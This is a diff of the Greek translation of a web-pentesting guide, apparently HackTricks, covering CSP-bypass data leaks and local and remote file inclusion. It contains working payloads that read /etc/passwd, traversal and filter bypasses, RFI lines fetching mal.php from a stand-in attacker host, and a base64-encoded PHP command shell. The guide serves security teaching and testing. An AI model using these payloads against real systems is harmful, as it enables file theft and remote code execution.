ότι **το WebRTC δεν ελέγχει την πολιτική `connect-src`** του CSP. +Σε πολλές σελίδες μπορείτε να διαβάσετε ότι **το WebRTC δεν ελέγχει την πολιτική `connect-src` του CSP**. Στην πραγματικότητα μπορείτε να _leak_ πληροφορίες χρησιμοποιώντας ένα _DNS request_. Δείτε αυτόν τον κώδικα: ```javascript @@ -708,7 +727,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ### CredentialsContainer -Η αναδυόμενη ειδοποίηση διαπιστευτηρίων στέλνει ένα αίτημα DNS στο iconURL χωρίς να περιορίζεται από τη σελίδα. Λειτουργεί μόνο σε ασφαλές περιβάλλον (HTTPS) ή σε localhost. +Το αναδυόμενο παράθυρο διαπιστευτηρίων στέλνει ένα DNS αίτημα προς το iconURL χωρίς να περιορίζεται από τη σελίδα. Λειτουργεί μόνο σε ασφαλές περιβάλλον (HTTPS) ή σε localhost. ```javascript navigator.credentials.store( new FederatedCredential({ @@ -719,12 +738,12 @@ iconURL:"https:"+your_data+"example.com" }) ) ``` -## Έλεγχος Πολιτικών CSP Online +## Έλεγχος Πολιτικών CSP στο διαδίκτυο - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) -## Αυτόματη Δημιουργία CSP +## Αυτόματη δημιουργία CSP [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) @@ -738,6 +757,7 @@ iconURL:"https:"+your_data+"example.com" - [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) - [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) ​ diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index bbcc0e814..6a48e7813 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,22 +4,22 @@ ## File Inclusion -**Remote File Inclusion (RFI):** Το αρχείο φορτώνεται από απομακρυσμένο server (Καλύτερο: Μπορείς να γράψεις τον κώδικα και ο server θα τον εκτελέσει). Στο php αυτό είναι **απενεργοποιημένο** από προεπιλογή (**allow_url_include**).\ -**Local File Inclusion (LFI):** Ο server φορτώνει ένα τοπικό αρχείο. +**Remote File Inclusion (RFI):** Το αρχείο φορτώνεται από έναν απομακρυσμένο server (Best: You can write the code and the server will execute it). Στο php αυτό είναι **απενεργοποιημένο** από προεπιλογή (**allow_url_include**).\ +**Local File Inclusion (LFI):** Ο server φορτώνει ένα τοπικό file. -Η ευπάθεια προκύπτει όταν ο χρήστης μπορεί με κάποιο τρόπο να ελέγξει ποιο αρχείο θα φορτώσει ο server. +Η ευπάθεια προκύπτει όταν ο χρήστης μπορεί με κάποιο τρόπο να ελέγξει το file που πρόκειται να φορτωθεί από τον server. -Ευπαθείς **PHP functions**: require, require_once, include, include_once +Ευάλωτες **PHP functions**: require, require_once, include, include_once -Ένα ενδιαφέρον εργαλείο για την εκμετάλλευση αυτής της ευπάθειας: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) +Ένα ενδιαφέρον εργαλείο για να εκμεταλλευτείς αυτή την ευπάθεια: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) -## Blind - Interesting - LFI2RCE αρχεία +## Blind - Interesting - LFI2RCE files ```python wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ ``` ### **Linux** -Συνδυάζοντας διάφορες *nix LFI λίστες και προσθέτοντας περισσότερες διαδρομές δημιούργησα αυτήν: +**Συνδυάζοντας διάφορες \*nix LFI λίστες και προσθέτοντας περισσότερες διαδρομές δημιούργησα αυτήν:** {{#ref}} @@ -29,11 +29,11 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion Δοκίμασε επίσης να αλλάξεις `/` με `\`\ Δοκίμασε επίσης να προσθέσεις `../../../../../` -Μια λίστα που χρησιμοποιεί αρκετές τεχνικές για να βρει το αρχείο /etc/password (για να ελέγξετε αν η ευπάθεια υπάρχει) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) +Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /etc/password (για να ελεγχθεί αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** -Συγχώνευση διαφορετικών wordlists: +Merge of different wordlists: {{#ref}} @@ -43,7 +43,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion Δοκίμασε επίσης να αλλάξεις `/` με `\`\ Δοκίμασε επίσης να αφαιρέσεις `C:/` και να προσθέσεις `../../../../../` -Μια λίστα που χρησιμοποιεί αρκετές τεχνικές για να βρει το αρχείο /boot.ini (για να ελέγξετε αν η ευπάθεια υπάρχει) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) +Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /boot.ini (για να ελεγχθεί αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** @@ -51,7 +51,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion ## Βασικά LFI και bypasses -Όλα τα παραδείγματα είναι για Local File Inclusion αλλά θα μπορούσαν να εφαρμοστούν και σε Remote File Inclusion επίσης (page=[http://myserver.com/phpshellcode.txt\\](). +All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` @@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -Bypass την προσθήκη επιπλέον χαρακτήρων στο τέλος της παρεχόμενης συμβολοσειράς (bypass of: $\_GET\['param']."php") +Bypass της προσθήκης επιπλέον χαρακτήρων στο τέλος της δοθείσας συμβολοσειράς (bypass of: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` Αυτό έχει **επιλυθεί από PHP 5.4** -### **Κωδικοποίηση** +### **Encoding** -Μπορείτε να χρησιμοποιήσετε μη-τυπικές κωδικοποιήσεις όπως double URL encode (και άλλα): +Μπορείτε να χρησιμοποιήσετε μη-τυπικά encodings όπως double URL encode (και άλλα): ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd @@ -80,42 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### Από υπάρχον φάκελο -Ίσως το back-end να ελέγχει τη διαδρομή του φακέλου: +Ίσως το back-end ελέγχει τη διαδρομή του φακέλου: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` -### Εξερεύνηση Καταλόγων του Συστήματος Αρχείων σε έναν server +### Εξερεύνηση καταλόγων του συστήματος αρχείων σε έναν διακομιστή -Το σύστημα αρχείων ενός server μπορεί να εξερευνηθεί αναδρομικά για να εντοπιστούν κατάλογοι, όχι μόνο αρχεία, χρησιμοποιώντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους του καταλόγου και την έρευνα για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω περιγράφεται μια αναλυτική μέθοδος για να το επιτύχετε: +Το σύστημα αρχείων ενός διακομιστή μπορεί να εξερευνηθεί αναδρομικά για τον εντοπισμό καταλόγων, όχι μόνο αρχείων, χρησιμοποιώντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους των καταλόγων και την έρευνα για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω υπάρχει μια λεπτομερής μέθοδος για να το πετύχετε: -1. **Προσδιορίστε το Βάθος του Καταλόγου:** Προσδιορίστε το βάθος του τρέχοντος καταλόγου σας ανακτώντας επιτυχώς το αρχείο `/etc/passwd` (ισχύει εάν ο server βασίζεται σε Linux). Ένα παράδειγμα URL μπορεί να είναι δομημένο ως εξής, υποδεικνύοντας βάθος τρία: +1. **Καθορισμός Βάθους Καταλόγου:** Προσδιορίστε το βάθος του τρέχοντος καταλόγου κάνοντας επιτυχή ανάκτηση του αρχείου `/etc/passwd` (ισχύει αν ο διακομιστής βασίζεται σε Linux). Ένα παράδειγμα URL μπορεί να έχει τη δομή παρακάτω, υποδεικνύοντας βάθος τριών: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Ανίχνευση Φακέλων:** Πρόσθεσε το όνομα του υποψιαζόμενου φακέλου (π.χ., `private`) στο URL, στη συνέχεια επέστρεψε στο `/etc/passwd`. Το πρόσθετο επίπεδο καταλόγου απαιτεί την αύξηση του βάθους κατά ένα: +2. **Έλεγχος φακέλων:** Προσθέστε το όνομα του ύποπτου φακέλου (π.χ., `private`) στο URL, στη συνέχεια πλοηγηθείτε πίσω στο `/etc/passwd`. Το επιπλέον επίπεδο καταλόγου απαιτεί αύξηση του βάθους κατά ένα: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` -3. **Ερμηνεία των Αποτελεσμάτων:** Η απάντηση του διακομιστή υποδεικνύει εάν ο φάκελος υπάρχει: -- **Σφάλμα / Χωρίς έξοδο:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στη συγκεκριμένη θέση. -- **Περιεχόμενο του `/etc/passwd`:** Η ύπαρξη του φακέλου `private` επιβεβαιώνεται. -4. **Αναδρομική Εξερεύνηση:** Οι εντοπισμένοι φάκελοι μπορούν να διερευνηθούν περαιτέρω για υποκαταλόγους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή παραδοσιακές μεθόδους Local File Inclusion (LFI). +3. **Ερμηνεύστε τα Αποτελέσματα:** Η απάντηση του διακομιστή δείχνει αν ο φάκελος υπάρχει: +- **Σφάλμα / Καμία Έξοδος:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στην καθορισμένη τοποθεσία. +- **Περιεχόμενο του `/etc/passwd`:** Η παρουσία του φακέλου `private` επιβεβαιώνεται. +4. **Αναδρομική Εξερεύνηση:** Οι εντοπισμένοι φάκελοι μπορούν να ερευνηθούν περαιτέρω για υποκαταλόγους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή τις παραδοσιακές μεθόδους Local File Inclusion (LFI). -Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες του συστήματος αρχείων, προσαρμόστε ανάλογα το payload. Για παράδειγμα, για να ελέγξετε αν το `/var/www/` περιέχει έναν κατάλογο `private` (υποθέτοντας ότι ο τρέχων κατάλογος βρίσκεται σε βάθος 3), χρησιμοποιήστε: +Για να εξερευνήσετε καταλόγους σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε ανάλογα το payload. Για παράδειγμα, για να ελέγξετε αν το `/var/www/` περιέχει έναν κατάλογο `private` (υποθέτοντας ότι ο τρέχων κατάλογος βρίσκεται σε βάθος 3), χρησιμοποιήστε: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Το Path truncation είναι μια μέθοδος που χρησιμοποιείται για να χειραγωγήσει μονοπάτια αρχείων σε web εφαρμογές. Συχνά χρησιμοποιείται για πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας ορισμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των μονοπατιών αρχείων. Ο στόχος είναι να δημιουργηθεί ένα μονοπάτι αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, εξακολουθεί να δείχνει στο επιθυμητό αρχείο. +Path truncation είναι μια μέθοδος που χρησιμοποιείται για τη χειραγώγηση διαδρομών αρχείων σε εφαρμογές web. Συχνά χρησιμοποιείται για την πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας ορισμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των διαδρομών αρχείων. Ο στόχος είναι να δημιουργηθεί μια διαδρομή αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, εξακολουθεί να δείχνει στο επιθυμητό αρχείο. -Στην PHP, διάφορες αναπαραστάσεις ενός μονοπατιού αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα: +Στο PHP, διάφορες αναπαραστάσεις μιας διαδρομής αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα: - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path. -- Όταν οι τελευταίοι 6 χαρακτήρες είναι `passwd`, η προσθήκη ενός `/` (κάνοντάς το `passwd/`) δεν αλλάζει το στοχευμένο αρχείο. -- Παρομοίως, εάν το `.php` προστεθεί σε ένα μονοπάτι αρχείου (όπως `shellcode.php`), η προσθήκη ενός `/.` στο τέλος δεν θα αλλάξει το αρχείο που προσπελαύνεται. +- Όταν οι τελευταίοι 6 χαρακτήρες είναι `passwd`, η προσθήκη ενός `/` (κάνοντάς το `passwd/`) δεν αλλάζει το στοχευόμενο αρχείο. +- Ομοίως, αν προσαρτηθεί `.php` σε μια διαδρομή αρχείου (π.χ. `shellcode.php`), η προσθήκη `/.` στο τέλος δεν θα αλλάξει το προσπελασμένο αρχείο. -Τα παραδείγματα που παρέχονται δείχνουν πώς να χρησιμοποιηθεί το path truncation για πρόσβαση στο `/etc/passwd`, έναν κοινό στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμών χρηστών): +Τα παραδείγματα που παρέχονται δείχνουν πώς να χρησιμοποιήσετε το path truncation για να αποκτήσετε πρόσβαση στο `/etc/passwd`, έναν κοινό στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμών χρηστών): ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -127,13 +127,13 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas ``` Σε αυτά τα σενάρια, ο αριθμός των traversals που απαιτούνται μπορεί να είναι περίπου 2027, αλλά αυτός ο αριθμός μπορεί να διαφέρει ανάλογα με τη διαμόρφωση του διακομιστή. -- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) σε συνδυασμό με επιπλέον dot segments και χαρακτήρες μπορούν να χρησιμοποιηθούν για την περιήγηση στο σύστημα αρχείων, αγνοώντας στην πράξη τις συμβολοσειρές που προσθέτει ο διακομιστής. -- **Determining the Required Number of Traversals**: Μέσω δοκιμής και σφάλματος, μπορεί κανείς να βρει τον ακριβή αριθμό των `../` ακολουθιών που χρειάζονται για να φτάσει στον root κατάλογο και στη συνέχεια στο `/etc/passwd`, διασφαλίζοντας ότι οποιεσδήποτε προσαρτημένες συμβολοσειρές (όπως `.php`) εξουδετερώνονται αλλά το επιθυμητό μονοπάτι (`/etc/passwd`) παραμένει ανέπαφο. -- **Starting with a Fake Directory**: Είναι συνηθισμένη πρακτική να ξεκινάει η διαδρομή με έναν μη υπάρχοντα κατάλογο (όπως `a/`). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να ικανοποιηθούν οι απαιτήσεις της λογικής ανάλυσης διαδρομών του διακομιστή. +- **Using Dot Segments and Additional Characters**: Σειρές traversal (`../`) σε συνδυασμό με επιπλέον dot segments και χαρακτήρες μπορούν να χρησιμοποιηθούν για να πλοηγηθούν στο σύστημα αρχείων, αγνοώντας στην πράξη τις προσαρτημένες συμβολοσειρές από τον διακομιστή. +- **Determining the Required Number of Traversals**: Μέσω δοκιμών και λαθών, μπορεί κανείς να βρει τον ακριβή αριθμό των ακολουθιών `../` που απαιτούνται για να φτάσει στον root κατάλογο και στη συνέχεια στο `/etc/passwd`, εξασφαλίζοντας ότι οποιεσδήποτε προσαρτημένες συμβολοσειρές (όπως `.php`) εξουδετερώνονται αλλά η επιθυμητή διαδρομή (`/etc/passwd`) παραμένει ανέπαφη. +- **Starting with a Fake Directory**: Είναι συνηθισμένη πρακτική να ξεκινά η διαδρομή με έναν μη-υπάρχοντα κατάλογο (π.χ. `a/`). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να ικανοποιήσει τις απαιτήσεις της λογικής ανάλυσης διαδρομών του διακομιστή. -Κατά την εφαρμογή τεχνικών path truncation, είναι κρίσιμο να κατανοήσετε τη συμπεριφορά ανάλυσης διαδρομών του διακομιστή και τη δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και συχνά είναι απαραίτητο το testing για να βρεθεί η πιο αποτελεσματική μέθοδος. +Όταν εφαρμόζονται path truncation techniques, είναι κρίσιμο να κατανοηθεί η συμπεριφορά της ανάλυσης διαδρομών από τον διακομιστή και η δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και συχνά είναι απαραίτητο να γίνουν δοκιμές για να βρεθεί η πιο αποτελεσματική μέθοδος. -**Αυτή η ευπάθεια διορθώθηκε στο PHP 5.3.** +**This vulnerability was corrected in PHP 5.3.** ### **Filter bypass tricks** ``` @@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή **`allow_url_include`** είναι **Off.** Πρέπει να είναι **On** για να λειτουργήσει, και σε αυτή την περίπτωση μπορείτε να include ένα PHP file από τον server σας και να αποκτήσετε RCE: +Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή **`allow_url_include`** είναι **Off.** Πρέπει να είναι **On** για να λειτουργήσει, και σε αυτή την περίπτωση θα μπορούσατε να συμπεριλάβετε ένα PHP αρχείο από τον διακομιστή σας και να αποκτήσετε RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -Αν για κάποιο λόγο **`allow_url_include`** είναι **On**, αλλά το PHP **φιλτράρει** την πρόσβαση σε εξωτερικές ιστοσελίδες, [σύμφωνα με αυτή την ανάρτηση](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), θα μπορούσατε να χρησιμοποιήσετε, για παράδειγμα, το data protocol με base64 για να αποκωδικοποιήσετε έναν b64 PHP κώδικα και να αποκτήσετε RCE: +Εάν για κάποιο λόγο το **`allow_url_include`** είναι **Ενεργό**, αλλά το PHP φιλτράρει την πρόσβαση σε εξωτερικές ιστοσελίδες, [σύμφωνα με αυτή την ανάρτηση](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), μπορείτε να χρησιμοποιήσετε, για παράδειγμα, το data protocol με base64 για να αποκωδικοποιήσετε έναν b64 PHP κώδικα και να αποκτήσετε RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> Στον προηγούμενο κώδικα, το τελικό `+.txt` προστέθηκε επειδή ο attacker χρειαζόταν μια συμβολοσειρά που τελείωνε σε `.txt`, έτσι η συμβολοσειρά τελειώνει με αυτήν και μετά το b64 decode εκείνο το μέρος θα επιστρέψει απλώς σκουπίδια και ο πραγματικός PHP κώδικας θα συμπεριληφθεί (και επομένως, θα εκτελεστεί). -> -> Another example **μη χρησιμοποιώντας το πρωτόκολλο `php://`** θα ήταν: +> Στον προηγούμενο κώδικα, το τελικό `+.txt` προστέθηκε επειδή ο επιτιθέμενος χρειάστηκε μια συμβολοσειρά που τελειώνει σε `.txt`, έτσι η συμβολοσειρά τελειώνει με αυτό και μετά το b64 decode εκείνο το μέρος θα επιστρέψει απλώς άχρηστα δεδομένα και ο πραγματικός PHP κώδικας θα συμπεριληφθεί (και επομένως, εκτελεστεί). + +Another example **not using the `php://` protocol** would be: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` -## Python Root element +## Python ριζικό στοιχείο -Σε Python, σε έναν κώδικα όπως ο εξής: +Σε python, σε έναν κώδικα σαν τον παρακάτω: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` -Αν ο χρήστης περάσει ένα **absolute path** στο **`file_name`**, το **προηγούμενο path απλά αφαιρείται**: +Αν ο χρήστης περάσει μια **απόλυτη διαδρομή** στο **`file_name`**, η **προηγούμενη διαδρομή απλώς αφαιρείται**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` -Είναι η αναμενόμενη συμπεριφορά σύμφωνα με [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): +Αυτό είναι η αναμενόμενη συμπεριφορά σύμφωνα με [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): -> Εάν ένα στοιχείο είναι ένα απόλυτο μονοπάτι, όλα τα προηγούμενα στοιχεία αγνοούνται και η σύνδεση συνεχίζεται από το απόλυτο στοιχείο μονοπατιού. +> Εάν ένα στοιχείο είναι απόλυτη διαδρομή, όλα τα προηγούμενα στοιχεία απορρίπτονται και η σύνδεση συνεχίζεται από το στοιχείο της απόλυτης διαδρομής. ## Java Λίστα καταλόγων -Φαίνεται πως αν έχετε ένα Path Traversal σε Java και **ζητήσετε έναν κατάλογο** αντί για αρχείο, θα επιστραφεί μια **λίστα του καταλόγου**. Αυτό δεν θα συμβαίνει σε άλλες γλώσσες (όσο ξέρω). +Φαίνεται πως αν έχετε ένα Path Traversal σε Java και **ζητήσετε έναν κατάλογο** αντί για αρχείο, **επιστρέφεται μια λίστα του καταλόγου**. Αυτό δεν συμβαίνει σε άλλες γλώσσες (afaik). -## Κορυφαίες 25 παράμετροι +## Top 25 παράμετροι -Ακολουθεί λίστα με τις κορυφαίες 25 παραμέτρους που θα μπορούσαν να είναι ευάλωτες σε local file inclusion (LFI) ευπάθειες (από [link](https://twitter.com/trbughunters/status/1279768631845494787)): +Ακολουθεί λίστα με τις κορυφαίες 25 παραμέτρους που θα μπορούσαν να είναι ευάλωτες σε local file inclusion (LFI) vulnerabilities (από [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -211,18 +211,18 @@ os.path.join(os.getcwd(), "public", "/etc/passwd") ?mod={payload} ?conf={payload} ``` -## LFI / RFI χρησιμοποιώντας PHP wrappers & protocols +## LFI / RFI using PHP wrappers & protocols ### php://filter -PHP filters επιτρέπουν την εκτέλεση βασικών **λειτουργιών τροποποίησης στα δεδομένα** πριν αυτά διαβαστούν ή εγγραφούν. Υπάρχουν 5 κατηγορίες φίλτρων: +Οι PHP φίλτρα επιτρέπουν την εκτέλεση βασικών **λειτουργιών τροποποίησης στα δεδομένα** πριν αυτά διαβαστούν ή γραφτούν. Υπάρχουν 5 κατηγορίες φίλτρων: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` -- `string.strip_tags`: Αφαιρεί tags από τα δεδομένα (ό,τι βρίσκεται ανάμεσα στους χαρακτήρες "<" και ">") -- Σημειώστε ότι αυτό το φίλτρο έχει εξαφανιστεί από τις σύγχρονες εκδόσεις του PHP +- `string.strip_tags`: Αφαιρεί ετικέτες από τα δεδομένα (οτιδήποτε μεταξύ των χαρακτήρων "<" και ">") +- Σημειώστε ότι αυτό το φίλτρο έχει αφαιρεθεί από τις σύγχρονες εκδόσεις του PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` @@ -231,18 +231,18 @@ PHP filters επιτρέπουν την εκτέλεση βασικών **λει - `convert.iconv.*` : Μετατρέπει σε διαφορετική κωδικοποίηση (`convert.iconv..`). Για να πάρετε τη **λίστα όλων των κωδικοποιήσεων** που υποστηρίζονται τρέξτε στην κονσόλα: `iconv -l` > [!WARNING] -> Καταχρηστική χρήση του φίλτρου μετατροπής `convert.iconv.*` μπορεί να σας επιτρέψει να **παράγετε αυθαίρετο κείμενο**, το οποίο μπορεί να είναι χρήσιμο για να γράψετε αυθαίρετο κείμενο ή για να κάνετε μια συνάρτηση όπως include να επεξεργαστεί αυθαίρετο κείμενο. Για περισσότερες πληροφορίες δείτε [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). +> Καταχρηστικά χρησιμοποιώντας το `convert.iconv.*` conversion filter μπορείτε να **παράγετε αυθαίρετο κείμενο**, το οποίο μπορεί να είναι χρήσιμο για την εγγραφή αυθαίρετου κειμένου ή για να αναγκάσετε μια συνάρτηση όπως include να επεξεργαστεί αυθαίρετο κείμενο. Για περισσότερες πληροφορίες δείτε [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: Συμπιέζει το περιεχόμενο (χρήσιμο αν εξάγετε μεγάλο όγκο πληροφοριών) +- `zlib.deflate`: Συμπιέζει το περιεχόμενο (useful if exfiltrating a lot of info) - `zlib.inflate`: Αποσυμπιέζει τα δεδομένα - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) -- `mcrypt.*` : Απαρχαιωμένο -- `mdecrypt.*` : Απαρχαιωμένο +- `mcrypt.*` : Αποσυρμένο +- `mdecrypt.*` : Αποσυρμένο - Other Filters - Τρέχοντας στο php `var_dump(stream_get_filters());` μπορείτε να βρείτε μερικά **μη αναμενόμενα φίλτρα**: - `consumed` -- `dechunk`: αντιστρέφει το HTTP chunked encoding +- `dechunk`: αντιστρέφει την HTTP chunked κωδικοποίηση - `convert.*` ```php # String Filters @@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` > [!WARNING] -> Το μέρος "php://filter" δεν είναι ευαίσθητο σε πεζά/κεφαλαία +> Το μέρος "php://filter" δεν κάνει διάκριση πεζών/κεφαλαίων ### Using php filters as oracle to read arbitrary files -[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) προτείνεται μια τεχνική για να διαβάσετε ένα τοπικό αρχείο χωρίς να επιστραφεί η έξοδος από τον server. Αυτή η τεχνική βασίζεται σε μια **boolean exfiltration of the file (char by char) using php filters** ως oracle. Αυτό συμβαίνει επειδή τα php filters μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγάλο ώστε το php να ρίξει exception. +[**Σε αυτή την ανάρτηση**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) προτείνεται μια τεχνική για την ανάγνωση ενός local αρχείου χωρίς να επιστραφεί το output από τον server. Αυτή η τεχνική βασίζεται σε μια **boolean exfiltration του αρχείου (char by char) χρησιμοποιώντας php filters** ως oracle. Αυτό συμβαίνει επειδή τα php filters μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγάλο ώστε το php να πετάξει exception. -Στο αρχικό post θα βρείτε αναλυτική εξήγηση της τεχνικής, αλλά εδώ είναι μια σύντομη περίληψη: +Στην original post θα βρείτε μία λεπτομερή εξήγηση της τεχνικής, αλλά εδώ είναι μια γρήγορη περίληψη: -- Χρησιμοποιήστε τον codec **`UCS-4LE`** για να αφήσετε τον πρώτο χαρακτήρα του κειμένου στην αρχή και να κάνετε το μέγεθος της συμβολοσειράς να αυξάνεται εκθετικά. -- Αυτό θα χρησιμοποιηθεί για να παραχθεί ένα **κείμενο τόσο μεγάλο όταν ο αρχικός χαρακτήρας μαντευτεί σωστά** που το php θα προκαλέσει **error** -- Το φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι hexadecimal**, οπότε μπορούμε να γνωρίζουμε αν ο πρώτος χαρακτήρας είναι hex. -- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα filters ανάλογα με τον μαντεμένο χαρακτήρα), θα μας επιτρέψει να μαντέψουμε έναν χαρακτήρα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετασχηματίσεις ώστε να μην είναι πλέον δεκαεξαδικός χαρακτήρας. Εάν είναι hex, το dechunk δεν το διαγράφει και η αρχική "βόμβα" θα προκαλέσει php error. -- Ο codec **convert.iconv.UNICODE.CP930** μετατρέπει κάθε γράμμα στο επόμενο (οπότε μετά από αυτόν τον codec: a -> b). Αυτό μας επιτρέπει να ανακαλύψουμε αν ο πρώτος χαρακτήρας είναι `a` για παράδειγμα, γιατί αν εφαρμόσουμε 6 φορές αυτόν τον codec a->b->c->d->e->f->g ο χαρακτήρας δεν είναι πλέον δεκαεξαδικός, επομένως το dechunk δεν τον διαγράφει και το php error ενεργοποιείται επειδή πολλαπλασιάζεται με την αρχική βόμβα. -- Χρησιμοποιώντας άλλους μετασχηματισμούς όπως **rot13** στην αρχή είναι δυνατόν να leak άλλους χαρακτήρες όπως n, o, p, q, 